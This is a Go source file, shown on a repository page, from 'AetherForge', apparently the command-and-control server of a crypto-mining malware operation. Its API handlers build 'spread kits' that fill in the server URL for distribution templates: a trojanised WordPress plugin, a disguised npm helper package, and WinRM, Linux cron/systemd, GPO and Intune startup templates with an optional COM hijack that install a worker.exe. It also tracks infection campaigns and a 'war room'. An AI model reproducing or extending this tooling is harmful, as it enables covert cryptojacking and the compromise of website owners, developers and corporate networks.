Files
AetherForge/server/internal/api/spread_handler.go
AetherForge 0795c511ab
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add S3 erasure swarm with CloudFront signed magnets.
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
2026-06-07 10:05:21 -07:00

441 lines
13 KiB
Go

package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
}
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
if h != nil {
h.erasureShards = store
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}
func (h *SpreadHandler) notesPath() string {
return filepath.Join(h.dataDir, "emberwake-notes.json")
}
type emberwakeNotes struct {
Content string `json:"content"`
UpdatedAt string `json:"updated_at"`
UpdatedBy string `json:"updated_by"`
}
func (h *SpreadHandler) readNotes() emberwakeNotes {
h.notesMu.RLock()
defer h.notesMu.RUnlock()
data, err := os.ReadFile(h.notesPath())
if err != nil {
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
}
var n emberwakeNotes
if json.Unmarshal(data, &n) != nil {
return emberwakeNotes{}
}
return n
}
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
h.notesMu.Lock()
defer h.notesMu.Unlock()
data, err := json.MarshalIndent(n, "", " ")
if err != nil {
return err
}
return os.WriteFile(h.notesPath(), data, 0644)
}
// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
writeJSON(w, h.readNotes())
}
// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
n := emberwakeNotes{
Content: body.Content,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
UpdatedBy: AuthUsername(r),
}
if err := h.writeNotes(n); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if h.wsHub != nil {
h.wsHub.BroadcastEmberwakeNotes(n)
}
writeJSON(w, n)
}
// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
hits, err := h.db.ListCampaignHits(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if hits == nil {
hits = []dbpkg.CampaignHitSummary{}
}
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
// GET /api/v1/emberwake/war-room?days=7
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
days := 7
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
days = n
}
}
data, err := h.db.ListWarRoom(days)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, data)
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
type wordpressPluginExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
SiteName string `json:"site_name"`
}
type npmHelperExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
type spreadTemplateExportRequest struct {
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
COMHijack bool `json:"com_hijack"`
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
AgentPath string `json:"agent_path"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{CAMPAIGN_QUERY}}": querySuffix,
"{{PIN_QUERY}}": "",
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
}
writeZipAttachment(w, filename, data)
}
// POST /api/v1/builder/wordpress-plugin-export
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
var req wordpressPluginExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
req.SiteName = strings.TrimSpace(req.SiteName)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.SiteName == "" {
http.Error(w, "site_name required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
return
}
slug := sanitizeExportSlug(req.SiteName)
wpCampaign := "wp-" + slug
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
if req.BuildID != "" {
downloadURL += "&pin=" + req.BuildID
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": wpCampaign,
"{{SITE_NAME}}": slug,
"{{PLUGIN_SLUG}}": slug,
"{{PLUGIN_NAME}}": slugDisplayName(slug),
"{{WP_CAMPAIGN}}": wpCampaign,
"{{DOWNLOAD_URL}}": downloadURL,
"{{VERSION}}": "1.0.0",
}
remap := func(rel string) string {
rel = filepath.ToSlash(rel)
if rel == "plugin.php" {
return slug + "/" + slug + ".php"
}
return slug + "/" + rel
}
data, err := zipTemplateReplacements(templateDir, repl, remap)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
}
// POST /api/v1/builder/npm-helper-export
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
var req npmHelperExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Campaign == "" {
req.Campaign = "npm-helper"
}
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "npm helper templates not found", http.StatusNotFound)
return
}
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{PACKAGE_NAME}}": pkgName,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
}
// POST /api/v1/builder/spread-template-export
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
var req spreadTemplateExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
req.AgentPath = strings.TrimSpace(req.AgentPath)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Template == "" {
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
return
}
subdir, filename, err := spreadTemplatePaths(req.Template)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
comHijack := "false"
if req.COMHijack {
comHijack = "true"
}
lotlMode := req.LOTLMode
if lotlMode == "" {
lotlMode = "systemd_run_user"
}
agentPath := req.AgentPath
if agentPath == "" {
agentPath = `C:\ProgramData\AetherForge\worker.exe`
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": comHijack,
"{{LOTL_MODE}}": lotlMode,
"{{AGENT_PATH}}": agentPath,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, filename, data)
}
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
switch template {
case "winrm":
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
case "linux-lotl", "linux_lotl":
return "linux", "aetherforge-linux-lotl.zip", nil
case "gpo", "enterprise-gpo":
return "enterprise", "aetherforge-gpo-startup.zip", nil
case "intune", "enterprise-intune":
return "enterprise", "aetherforge-intune-startup.zip", nil
default:
return "", "", fmt.Errorf("unknown template %q", template)
}
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
var body struct {
Public bool `json:"public"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}